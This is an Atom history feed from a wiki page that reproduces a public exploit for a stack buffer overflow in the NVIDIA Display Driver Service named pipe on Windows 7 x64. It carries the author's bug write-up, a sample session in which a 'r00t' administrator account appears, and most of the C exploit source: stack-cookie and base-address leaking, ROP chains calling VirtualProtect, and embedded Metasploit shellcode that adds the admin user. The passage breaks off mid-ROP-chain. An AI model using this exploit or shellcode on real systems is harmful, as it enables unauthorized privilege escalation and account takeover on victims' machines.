<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=NVidia_Display_Driver_Service_%28Nsvr%29%E6%BC%8F%E6%B4%9E</id>
	<title>NVidia Display Driver Service (Nsvr)漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=NVidia_Display_Driver_Service_%28Nsvr%29%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=NVidia_Display_Driver_Service_(Nsvr)%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-08T20:19:54Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=NVidia_Display_Driver_Service_(Nsvr)%E6%BC%8F%E6%B4%9E&amp;diff=728&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; /*  NVidia Display Driver Service (Nsvr) Exploit - Christmas 2012 - Bypass DEP + ASLR + /GS + CoE ============================================================= (...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=NVidia_Display_Driver_Service_(Nsvr)%E6%BC%8F%E6%B4%9E&amp;diff=728&amp;oldid=prev"/>
		<updated>2021-03-27T03:40:00Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; /*  NVidia Display Driver Service (Nsvr) Exploit - Christmas 2012 - Bypass DEP + ASLR + /GS + CoE ============================================================= (...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/*&lt;br /&gt;
&lt;br /&gt;
NVidia Display Driver Service (Nsvr) Exploit - Christmas 2012&lt;br /&gt;
- Bypass DEP + ASLR + /GS + CoE&lt;br /&gt;
=============================================================&lt;br /&gt;
(@peterwintrsmith)&lt;br /&gt;
&lt;br /&gt;
 ** Initial release 25/12/12&lt;br /&gt;
 ** Update 25/12/12 - Target for 30 Aug 2012 nvvsvc.exe Build - thanks&lt;br /&gt;
      @seanderegge!&lt;br /&gt;
&lt;br /&gt;
Hey all!&lt;br /&gt;
&lt;br /&gt;
Here is an interesting exploit for a stack buffer overflow in the NVidia&lt;br /&gt;
Display Driver Service. The service listens on a named pipe (\pipe\nsvr)&lt;br /&gt;
which has a NULL DACL configured, which should mean that any logged on user&lt;br /&gt;
or remote user in a domain context (Windows firewall/file sharing&lt;br /&gt;
permitting) should be able to exploit this vulnerability.&lt;br /&gt;
&lt;br /&gt;
The buffer overflow occurs as a result of a bad memmove operation, with the&lt;br /&gt;
stack layout effectively looking like this:&lt;br /&gt;
&lt;br /&gt;
[locals]&lt;br /&gt;
[received-data]&lt;br /&gt;
[response-buf]&lt;br /&gt;
[stack cookie]&lt;br /&gt;
[return address]&lt;br /&gt;
[arg space]&lt;br /&gt;
[etc]&lt;br /&gt;
&lt;br /&gt;
The memmove copies data from the received-data buffer into the response-buf&lt;br /&gt;
buffer, unchecked. It is possible to control the offset from which the copy&lt;br /&gt;
starts in the received-data buffer by embedding a variable length string -&lt;br /&gt;
which forms part of the protocol message being crafted - as well as the&lt;br /&gt;
number of bytes copied into the response buffer.&lt;br /&gt;
&lt;br /&gt;
The amount of data sent back over the named pipe is related to the number&lt;br /&gt;
of bytes copied rather than the maximum number of bytes that the buffer is&lt;br /&gt;
able to safely contain, so it is possible to leak stack data by copying&lt;br /&gt;
from the end of the received-data buffer, through the response-buf buffer&lt;br /&gt;
(which is zeroed first time round, and second time round contains whatever&lt;br /&gt;
was in it beforehand), right to the end of the stack frame (including stack&lt;br /&gt;
cookie and return address).&lt;br /&gt;
&lt;br /&gt;
As the entire block of data copied is sent back, the stack cookie and&lt;br /&gt;
nvvsvc.exe base can be determined using the aforementioned process. The&lt;br /&gt;
stack is then trashed, but the function servicing pipe messages won't&lt;br /&gt;
return until the final message has been received, so it doesn't matter too&lt;br /&gt;
much.&lt;br /&gt;
&lt;br /&gt;
It is then possible to exploit the bug by sending two further packets of&lt;br /&gt;
data: One containing the leaked stack cookie and a ROP chain dynamically&lt;br /&gt;
generated using offsets from the leaked nvvsvc.exe base (which simply fills&lt;br /&gt;
the response-buf buffer when this data is echoed back) and a second packet&lt;br /&gt;
which contains enough data to trigger an overwrite if data is copied from&lt;br /&gt;
the start of the received-data buffer into the response-buf (including the&lt;br /&gt;
data we primed the latter to contain - stack cookie and ROP chain).&lt;br /&gt;
&lt;br /&gt;
Allowing the function to then return leads to execution of our ROP chain,&lt;br /&gt;
and our strategically placed Metasploit net user /add shellcode! We get&lt;br /&gt;
continuation of execution for free because the process spins up a thread&lt;br /&gt;
to handle each new connection, and there are no deadlocks etc.&lt;br /&gt;
&lt;br /&gt;
I've included two ROP chains, one which works against the nvvsvc.exe&lt;br /&gt;
running by default on my Win7/x64 Dell XPS 15/ NVidia GT540M with drivers&lt;br /&gt;
from the Dell site, and one which works against the latest version of the&lt;br /&gt;
drivers for the same card, from:&lt;br /&gt;
http://www.geforce.co.uk/hardware/desktop-gpus/geforce-gt-540m&lt;br /&gt;
http://www.geforce.co.uk/drivers/results/54709&lt;br /&gt;
&lt;br /&gt;
Hope you find this interesting - it's a fun bug to play with!&lt;br /&gt;
&lt;br /&gt;
- Sample Session -&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
C:\Users\Peter\Desktop\NVDelMe1&amp;gt;net localgroup administrators&lt;br /&gt;
Alias name     administrators&lt;br /&gt;
Comment        Administrators have complete and unrestricted access to the computer/domain&lt;br /&gt;
&lt;br /&gt;
Members&lt;br /&gt;
&lt;br /&gt;
-------------------------------------------------------------------------------&lt;br /&gt;
Administrator&lt;br /&gt;
Peter&lt;br /&gt;
The command completed successfully.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
C:\Users\Peter\Desktop\NVDelMe1&amp;gt;nvvsvc_expl.exe 127.0.0.1&lt;br /&gt;
  ** Nvvsvc.exe Nsvr Pipe Exploit (Local/Domain) **&lt;br /&gt;
                 [@peterwintrsmith]&lt;br /&gt;
 - Win7 x64 DEP + ASLR + GS Bypass - Christmas 2012 -&lt;br /&gt;
&lt;br /&gt;
        Action 1 of 9:  - CONNECT&lt;br /&gt;
&lt;br /&gt;
        Action 2 of 9:  - CLIENT =&amp;gt; SERVER&lt;br /&gt;
                Written 16416 (0x4020) characters to pipe&lt;br /&gt;
&lt;br /&gt;
        Action 3 of 9:   - SERVER =&amp;gt; CLIENT&lt;br /&gt;
                Read 16504 (0x4078) characters from pipe&lt;br /&gt;
&lt;br /&gt;
        Action 4 of 9: Building exploit ...&lt;br /&gt;
                 =&amp;gt; Stack cookie 0xe2e2893340d4:&lt;br /&gt;
                 =&amp;gt; nvvsvc.exe base 0x13fb90000:&lt;br /&gt;
&lt;br /&gt;
        Action 5 of 9:  - CLIENT =&amp;gt; SERVER&lt;br /&gt;
                Written 16416 (0x4020) characters to pipe&lt;br /&gt;
&lt;br /&gt;
        Action 6 of 9:   - SERVER =&amp;gt; CLIENT&lt;br /&gt;
                Read 16384 (0x4000) characters from pipe&lt;br /&gt;
&lt;br /&gt;
        Action 7 of 9:  - CLIENT =&amp;gt; SERVER&lt;br /&gt;
                Written 16416 (0x4020) characters to pipe&lt;br /&gt;
&lt;br /&gt;
        Action 8 of 9:   - SERVER =&amp;gt; CLIENT&lt;br /&gt;
                Read 16896 (0x4200) characters from pipe&lt;br /&gt;
&lt;br /&gt;
        Action 9 of 9:  - DISCONNECT&lt;br /&gt;
&lt;br /&gt;
C:\Users\Peter\Desktop\NVDelMe1&amp;gt;net localgroup administrators&lt;br /&gt;
Alias name     administrators&lt;br /&gt;
Comment        Administrators have complete and unrestricted access to the computer/domain&lt;br /&gt;
&lt;br /&gt;
Members&lt;br /&gt;
&lt;br /&gt;
-------------------------------------------------------------------------------&lt;br /&gt;
Administrator&lt;br /&gt;
Peter&lt;br /&gt;
r00t&lt;br /&gt;
The command completed successfully.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
C:\Users\Peter\Desktop\NVDelMe1&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*/&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;Windows.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
enum EProtocolAction&lt;br /&gt;
{&lt;br /&gt;
 ProtocolAction_Connect = 0,&lt;br /&gt;
 ProtocolAction_Receive,&lt;br /&gt;
 ProtocolAction_Send,&lt;br /&gt;
 ProtocolAction_Disconnect,&lt;br /&gt;
 ProtocolAction_ReadCookie,&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
typedef struct {&lt;br /&gt;
 EProtocolAction Action;&lt;br /&gt;
 PBYTE Buf;&lt;br /&gt;
 DWORD Length;&lt;br /&gt;
} ProtocolMessage;&lt;br /&gt;
&lt;br /&gt;
const int GENERIC_BUF_LENGTH = 0x10000;&lt;br /&gt;
&lt;br /&gt;
#define WriteByte(val) {buf[offs] = val; offs += 1;}&lt;br /&gt;
#define WriteWord(val) {*(WORD *)(buf + offs) = val; offs += 2;}&lt;br /&gt;
#define WriteDword(val) {*(DWORD *)(buf + offs) = val; offs += 4;}&lt;br /&gt;
#define WriteBytes(val, len) {memcpy(buf + offs, val, len); offs += len;}&lt;br /&gt;
#define BufRemaining() (sizeof(buf) - offs)&lt;br /&gt;
&lt;br /&gt;
DWORD WritePipe(HANDLE hPipe, void *pBuffer, DWORD cbBuffer)&lt;br /&gt;
{&lt;br /&gt;
 DWORD dwWritten = 0;&lt;br /&gt;
 &lt;br /&gt;
 if(WriteFile(hPipe, pBuffer, cbBuffer, &amp;amp;dwWritten, NULL))&lt;br /&gt;
  return dwWritten;&lt;br /&gt;
 &lt;br /&gt;
 return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
DWORD ReadPipe(HANDLE hPipe, void *pBuffer, DWORD cbBuffer, BOOL bTimeout = FALSE)&lt;br /&gt;
{&lt;br /&gt;
 DWORD dwRead = 0, dwAvailable = 0;&lt;br /&gt;
&lt;br /&gt;
 if(bTimeout)&lt;br /&gt;
 {&lt;br /&gt;
  for(DWORD i=0; i &amp;lt; 30; i++)&lt;br /&gt;
  {&lt;br /&gt;
   if(!PeekNamedPipe(hPipe, NULL, NULL, NULL, &amp;amp;dwAvailable, NULL))&lt;br /&gt;
    goto Cleanup;&lt;br /&gt;
&lt;br /&gt;
   if(dwAvailable)&lt;br /&gt;
    break;&lt;br /&gt;
&lt;br /&gt;
   Sleep(100);&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  if(!dwAvailable)&lt;br /&gt;
   goto Cleanup;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 if(!ReadFile(hPipe, pBuffer, cbBuffer, &amp;amp;dwRead, NULL))&lt;br /&gt;
  goto Cleanup;&lt;br /&gt;
&lt;br /&gt;
Cleanup:&lt;br /&gt;
 return dwRead;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
HANDLE EstablishPipeConnection(char *pszPipe)&lt;br /&gt;
{&lt;br /&gt;
 HANDLE hPipe = CreateFileA(&lt;br /&gt;
   pszPipe,&lt;br /&gt;
   GENERIC_READ | GENERIC_WRITE,&lt;br /&gt;
   0,&lt;br /&gt;
   NULL,&lt;br /&gt;
   OPEN_EXISTING,&lt;br /&gt;
   0,&lt;br /&gt;
   NULL&lt;br /&gt;
  );&lt;br /&gt;
&lt;br /&gt;
 if(hPipe == INVALID_HANDLE_VALUE)&lt;br /&gt;
 {&lt;br /&gt;
  return NULL;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 return hPipe;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
BYTE *BuildMalicious_LeakStack()&lt;br /&gt;
{&lt;br /&gt;
 static BYTE buf[0x4020] = {0};&lt;br /&gt;
 UINT offs = 0;&lt;br /&gt;
&lt;br /&gt;
 WriteWord(0x52);&lt;br /&gt;
 &lt;br /&gt;
 for(UINT i=0; i&amp;lt;0x2000; i++)&lt;br /&gt;
  WriteWord(0x41);&lt;br /&gt;
&lt;br /&gt;
 WriteWord(0);&lt;br /&gt;
&lt;br /&gt;
 WriteDword(0);&lt;br /&gt;
 WriteDword(0x4078);&lt;br /&gt;
 &lt;br /&gt;
 WriteDword(0x41414141);&lt;br /&gt;
 WriteDword(0x41414141);&lt;br /&gt;
 WriteDword(0x41414141);&lt;br /&gt;
 WriteDword(0x41414141);&lt;br /&gt;
 WriteDword(0x41414141);&lt;br /&gt;
 &lt;br /&gt;
 return buf;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
BYTE *BuildMalicious_FillBuf()&lt;br /&gt;
{&lt;br /&gt;
 static BYTE buf[0x4020] = {0};&lt;br /&gt;
 UINT offs = 0;&lt;br /&gt;
 &lt;br /&gt;
 WriteWord(0x52);&lt;br /&gt;
 WriteWord(0); // string&lt;br /&gt;
&lt;br /&gt;
 WriteDword(0);&lt;br /&gt;
 WriteDword(0x4000);&lt;br /&gt;
 &lt;br /&gt;
 while(BufRemaining())&lt;br /&gt;
  WriteDword(0x43434343);&lt;br /&gt;
&lt;br /&gt;
 return buf;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
BYTE *BuildMalicious_OverwriteStack()&lt;br /&gt;
{&lt;br /&gt;
 static BYTE buf[0x4020] = {0};&lt;br /&gt;
 UINT offs = 0;&lt;br /&gt;
&lt;br /&gt;
 WriteWord(0x52);&lt;br /&gt;
 WriteWord(0); // string&lt;br /&gt;
&lt;br /&gt;
 WriteDword(0);&lt;br /&gt;
 WriteDword(0x4340); // enough to copy shellcode too&lt;br /&gt;
 &lt;br /&gt;
 while(BufRemaining())&lt;br /&gt;
  WriteDword(0x42424242);&lt;br /&gt;
&lt;br /&gt;
 return buf;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char* argv[])&lt;br /&gt;
{&lt;br /&gt;
 DWORD dwReturnCode = 1, dwBytesInOut = 0;&lt;br /&gt;
 HANDLE hPipe = NULL;&lt;br /&gt;
 static BYTE rgReadBuf[GENERIC_BUF_LENGTH] = {0};&lt;br /&gt;
 &lt;br /&gt;
 printf(&lt;br /&gt;
   &amp;quot;  ** Nvvsvc.exe Nsvr Pipe Exploit (Local/Domain) **\n&amp;quot;&lt;br /&gt;
   &amp;quot;                 [@peterwintrsmith]\n&amp;quot;&lt;br /&gt;
   &amp;quot; - Win7 x64 DEP + ASLR + GS Bypass - Christmas 2012 -\n&amp;quot;&lt;br /&gt;
  );&lt;br /&gt;
&lt;br /&gt;
 if(argc &amp;lt; 2)&lt;br /&gt;
 {&lt;br /&gt;
  printf(&amp;quot;\tUsage: %s &amp;lt;ip&amp;gt;|local\n\n&amp;quot;, argv[0]);&lt;br /&gt;
&lt;br /&gt;
  printf(&lt;br /&gt;
    &amp;quot; !! If exploiting remotely, create a session with the target using your domain credentials !!\n&amp;quot;&lt;br /&gt;
    &amp;quot;\tCommand: net use \\\\target.ip\\ipc$ /u:domain\\user password\n&amp;quot;&lt;br /&gt;
   );&lt;br /&gt;
&lt;br /&gt;
  goto Cleanup;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 memset(rgReadBuf, 0, sizeof(rgReadBuf));&lt;br /&gt;
&lt;br /&gt;
 ProtocolMessage rgConvoMsg[] = {&lt;br /&gt;
  {ProtocolAction_Connect, NULL, 0},&lt;br /&gt;
  {ProtocolAction_Send, BuildMalicious_LeakStack(), 0x4020},&lt;br /&gt;
  {ProtocolAction_Receive, {0}, 0x4200},&lt;br /&gt;
  {ProtocolAction_ReadCookie, {0}, 0},&lt;br /&gt;
  {ProtocolAction_Send, BuildMalicious_FillBuf(), 0x4020},&lt;br /&gt;
  {ProtocolAction_Receive, {0}, 0x4000},&lt;br /&gt;
  {ProtocolAction_Send, BuildMalicious_OverwriteStack(), 0x4020},&lt;br /&gt;
  {ProtocolAction_Receive, {0}, 0x4200},&lt;br /&gt;
  {ProtocolAction_Disconnect, NULL, 0},&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 DWORD dwNumberOfMessages = sizeof(rgConvoMsg) / sizeof(ProtocolMessage), i = 0;&lt;br /&gt;
 BOOL bTryAgain = FALSE;&lt;br /&gt;
 char szPipe[256] = {0};&lt;br /&gt;
&lt;br /&gt;
 if(stricmp(argv[1], &amp;quot;local&amp;quot;) == 0)&lt;br /&gt;
  strcpy(szPipe, &amp;quot;\\\\.\\pipe\\nvsr&amp;quot;);&lt;br /&gt;
 else&lt;br /&gt;
  sprintf(szPipe, &amp;quot;\\\\%s\\pipe\\nvsr&amp;quot;, argv[1]);&lt;br /&gt;
&lt;br /&gt;
 while(i &amp;lt; dwNumberOfMessages)&lt;br /&gt;
 {&lt;br /&gt;
  printf(&amp;quot;\n\tAction %u of %u: &amp;quot;, i + 1, dwNumberOfMessages);&lt;br /&gt;
&lt;br /&gt;
  switch(rgConvoMsg[i].Action)&lt;br /&gt;
  {&lt;br /&gt;
  case ProtocolAction_Connect:&lt;br /&gt;
   printf(&amp;quot; - CONNECT\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
   hPipe = EstablishPipeConnection(szPipe);&lt;br /&gt;
   if(!hPipe)&lt;br /&gt;
   {&lt;br /&gt;
    printf(&amp;quot;!! Unable to create named pipe (GetLastError() = %u [0x%x])\n&amp;quot;, GetLastError(), GetLastError());&lt;br /&gt;
    goto Cleanup;&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   break;&lt;br /&gt;
  case ProtocolAction_Disconnect:&lt;br /&gt;
   printf(&amp;quot; - DISCONNECT\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
   CloseHandle(hPipe);&lt;br /&gt;
   hPipe = NULL;&lt;br /&gt;
&lt;br /&gt;
   break;&lt;br /&gt;
  case ProtocolAction_Send:&lt;br /&gt;
   printf(&amp;quot; - CLIENT =&amp;gt; SERVER\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
   if(!(dwBytesInOut = WritePipe(hPipe, rgConvoMsg[i].Buf, rgConvoMsg[i].Length)))&lt;br /&gt;
   {&lt;br /&gt;
    printf(&amp;quot;!! Error writing to pipe\n&amp;quot;);&lt;br /&gt;
    goto Cleanup;&lt;br /&gt;
   }&lt;br /&gt;
 &lt;br /&gt;
   printf(&amp;quot;\t\tWritten %u (0x%x) characters to pipe\n&amp;quot;, dwBytesInOut, dwBytesInOut);&lt;br /&gt;
&lt;br /&gt;
   break;&lt;br /&gt;
  case ProtocolAction_Receive:&lt;br /&gt;
   printf(&amp;quot;\t - SERVER =&amp;gt; CLIENT\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
   if(!(dwBytesInOut = ReadPipe(hPipe, rgReadBuf, rgConvoMsg[i].Length, FALSE)))&lt;br /&gt;
   {&lt;br /&gt;
    printf(&amp;quot;!! Error reading from pipe (at least, no data on pipe)\n&amp;quot;);&lt;br /&gt;
    goto Cleanup;&lt;br /&gt;
   }&lt;br /&gt;
 &lt;br /&gt;
   printf(&amp;quot;\t\tRead %u (0x%x) characters from pipe\n&amp;quot;, dwBytesInOut, dwBytesInOut);&lt;br /&gt;
&lt;br /&gt;
   break;&lt;br /&gt;
  case ProtocolAction_ReadCookie:&lt;br /&gt;
&lt;br /&gt;
   // x64 Metasploit cmd/exec:&lt;br /&gt;
   //     &amp;quot;net user r00t r00t00r! /add &amp;amp; net localgroup administrators /add&amp;quot;&lt;br /&gt;
   //     exitfunc=thread&lt;br /&gt;
   char pb_NetAdd_Admin[] = &amp;quot;&amp;quot;&lt;br /&gt;
    &amp;quot;\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52&amp;quot;&lt;br /&gt;
    &amp;quot;\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48&amp;quot;&lt;br /&gt;
    &amp;quot;\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9&amp;quot;&lt;br /&gt;
    &amp;quot;\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41&amp;quot;&lt;br /&gt;
    &amp;quot;\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48&amp;quot;&lt;br /&gt;
    &amp;quot;\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01&amp;quot;&lt;br /&gt;
    &amp;quot;\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48&amp;quot;&lt;br /&gt;
    &amp;quot;\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0&amp;quot;&lt;br /&gt;
    &amp;quot;\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c&amp;quot;&lt;br /&gt;
    &amp;quot;\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0&amp;quot;&lt;br /&gt;
    &amp;quot;\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04&amp;quot;&lt;br /&gt;
    &amp;quot;\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59&amp;quot;&lt;br /&gt;
    &amp;quot;\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48&amp;quot;&lt;br /&gt;
    &amp;quot;\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00&amp;quot;&lt;br /&gt;
    &amp;quot;\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f&amp;quot;&lt;br /&gt;
    &amp;quot;\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff&amp;quot;&lt;br /&gt;
    &amp;quot;\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb&amp;quot;&lt;br /&gt;
    &amp;quot;\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64&amp;quot;&lt;br /&gt;
    &amp;quot;\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x72\x30&amp;quot;&lt;br /&gt;
    &amp;quot;\x30\x74\x20\x72\x30\x30\x74\x30\x30\x72\x21\x20\x2f\x61\x64&amp;quot;&lt;br /&gt;
    &amp;quot;\x64\x20\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72&amp;quot;&lt;br /&gt;
    &amp;quot;\x6f\x75\x70\x20\x61\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74&amp;quot;&lt;br /&gt;
    &amp;quot;\x6f\x72\x73\x20\x72\x30\x30\x74\x20\x2f\x61\x64\x64\x00&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
   printf(&amp;quot;Building exploit ...\n&amp;quot;);&lt;br /&gt;
   unsigned __int64 uiStackCookie = *(unsigned __int64 *)(rgReadBuf + 0x4034);&lt;br /&gt;
   printf(&amp;quot;\t\t =&amp;gt; Stack cookie 0x%x%x:\n&amp;quot;, (DWORD)(uiStackCookie &amp;gt;&amp;gt; 32), (DWORD)uiStackCookie);&lt;br /&gt;
&lt;br /&gt;
   memcpy(rgConvoMsg[4].Buf + 0xc + 0xc, &amp;amp;uiStackCookie, 8);&lt;br /&gt;
   &lt;br /&gt;
   unsigned __int64 uiRetnAddress = *(unsigned __int64 *)(rgReadBuf + 0x4034 + 8), uiBase = 0, *pRopChain = NULL;&lt;br /&gt;
&lt;br /&gt;
   // Perform some limited fingerprinting (my default install version, vs latest at time of testing)&lt;br /&gt;
   switch(uiRetnAddress &amp;amp; 0xfff)&lt;br /&gt;
   {&lt;br /&gt;
   case 0x640: // nvvsvc.exe - 03 Nov 2011 - 1,640,768 bytes - md5=3947ad5d03e6abcce037801162fdb90d&lt;br /&gt;
    {&lt;br /&gt;
     uiBase = uiRetnAddress - 0x4640;&lt;br /&gt;
     printf(&amp;quot;\t\t =&amp;gt; nvvsvc.exe base 0x%x%x:\n&amp;quot;, (DWORD)(uiBase &amp;gt;&amp;gt; 32), (DWORD)uiBase);&lt;br /&gt;
&lt;br /&gt;
     pRopChain = (unsigned __int64 *)(rgConvoMsg[4].Buf + 0xc + 0xc + (7*8));&lt;br /&gt;
&lt;br /&gt;
     // Param 1: lpAddress [r11 (near rsp) into rcx]&lt;br /&gt;
     pRopChain[0] = uiBase + 0x19e6e; // nvvsvc.exe+0x19e6e: mov rax, r11; retn&lt;br /&gt;
     pRopChain[1] = uiBase + 0xa6d64; // nvvsvc.exe+0xa6d64: mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h; retn&lt;br /&gt;
     pRopChain[2] = 0; // Padding&lt;br /&gt;
     pRopChain[3] = 0; // ...&lt;br /&gt;
     pRopChain[4] = 0; // ...&lt;br /&gt;
     pRopChain[5] = 0; // ...&lt;br /&gt;
     pRopChain[6] = 0; // ...&lt;br /&gt;
     pRopChain[7] = uiBase + 0x7773;  // nvvsvc.exe+0x7773: pop rax; retn&lt;br /&gt;
     pRopChain[8] = 0x1;   // Param 2: dwSize [rdx = 1 (whole page)]&lt;br /&gt;
     pRopChain[9] = uiBase + 0xa8653; // nvvsvc.exe+0xa8653: mov rdx, rax; mov rax, rdx; add rsp, 28h; retn&lt;br /&gt;
     pRopChain[10] = 0; // Padding&lt;br /&gt;
     pRopChain[11] = 0; // ...&lt;br /&gt;
     pRopChain[12] = 0; // ...&lt;br /&gt;
     pRopChain[13] = 0; // ...&lt;br /&gt;
     pRopChain[14] = 0; // ...&lt;br /&gt;
     pRopChain[15] = uiBase + 0x7772;  // nvvsvc.exe+0x7772: pop r8; retn&lt;br /&gt;
     pRopChain[16] = 0x40;  // Param 3: flNewProtect [r8 = 0x40 (PAGE_EXECUTE_READWRITE)]&lt;br /&gt;
     pRopChain[17] = uiBase + 0x7773;  // nvvsvc.exe+0x7773: pop rax; retn&lt;br /&gt;
     // Param 4: lpflOldProtect [r9 - already points at writable location]&lt;br /&gt;
     pRopChain[18] = uiBase + 0xfe5e0; // nvvsvc.exe+0xfe5e0: IAT entry &amp;amp;VirtualProtect&lt;br /&gt;
     pRopChain[19] = uiBase + 0x5d60;  // nvvsvc.exe+0x5d60: mov rax, [rax]; retn&lt;br /&gt;
     pRopChain[20] = uiBase + 0x91a85; // nvvsvc.exe+0x91a85: jmp rax&lt;br /&gt;
     pRopChain[21] = uiBase + 0xe6251; // nvvsvc.exe+0xe6251: jmp rsp (return address from VirtualProtect)&lt;br /&gt;
&lt;br /&gt;
     memcpy(pRopChain + 22, pb_NetAdd_Admin, sizeof(pb_NetAdd_Admin));&lt;br /&gt;
    }&lt;br /&gt;
    break;&lt;br /&gt;
   case 0x9f1: // nvvsvc.exe - 30 Aug 2012 - 891,240 bytes - md5=43f91595049de14c4b61d1e76436164f&lt;br /&gt;
    {&lt;br /&gt;
     uiBase = uiRetnAddress - 0x39f1;&lt;br /&gt;
     printf(&amp;quot;\t\t =&amp;gt; nvvsvc.exe base 0x%x%x:\n&amp;quot;, (DWORD)(uiBase &amp;gt;&amp;gt; 32), (DWORD)uiBase);&lt;br /&gt;
&lt;br /&gt;
     pRopChain = (unsigned __int64 *)(rgConvoMsg[4].Buf + 0xc + 0xc + (7*8));&lt;br /&gt;
&lt;br /&gt;
     // Param 1: lpAddress [r11 (near rsp) into rcx]&lt;br /&gt;
     pRopChain[0] = uiBase + 0x15d36; // nvvsvc.exe+0x15d36: mov rax, r11; retn&lt;br /&gt;
     pRopChain[1] = uiBase + 0x5493c; // nvvsvc.exe+0x5493c: mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h; retn&lt;br /&gt;
     pRopChain[2] = 0; // Padding ...&lt;br /&gt;
     pRopChain[3] = 0; // ...&lt;br /&gt;
     pRopChain[4] = 0; // ...&lt;br /&gt;
     pRopChain[5] = 0; // ...&lt;br /&gt;
     pRopChain[6] = 0; // ...&lt;br /&gt;
     pRopChain[7] = uiBase + 0xd202;  // nvvsvc.exe+0xd202: pop rax; retn&lt;br /&gt;
     pRopChain[8] = 0x1;              // Param 2: dwSize [rdx = 1 (whole page)]&lt;br /&gt;
     pRopChain[9] = uiBase + 0x55dbf; // nvvsvc.exe+0x55dbf: mov rdx, rax; mov rax, rdx; add rsp, 28h; retn&lt;br /&gt;
     pRopChain[10] = 0; // Padding ...&lt;br /&gt;
     pRopChain[11] = 0; // ...&lt;br /&gt;
     pRopChain[12] = 0; // ...&lt;br /&gt;
     pRopChain[13] = 0; // ...&lt;br /&gt;
     pRopChain[14] = 0; // ...&lt;br /&gt;
     // Param 3: flNewProtect [r8 = 0x40 (PAGE_EXECUTE_READWRITE)]&lt;br /&gt;
     pRopChain[15] = uiBase + 0xd202;  // nvvsvc.exe+0xd202: pop rax; retn&lt;br /&gt;
     pRopChain[16] = 0x40;             // PAGE_EXECUTE_READWRITE&lt;br /&gt;
     pRopChain[17] = uiBase + 0x8b92;  // nvvsvc.exe+0x55dbf: mov r8d, eax; mov eax, r8d; add rsp, 28h; retn&lt;br /&gt;
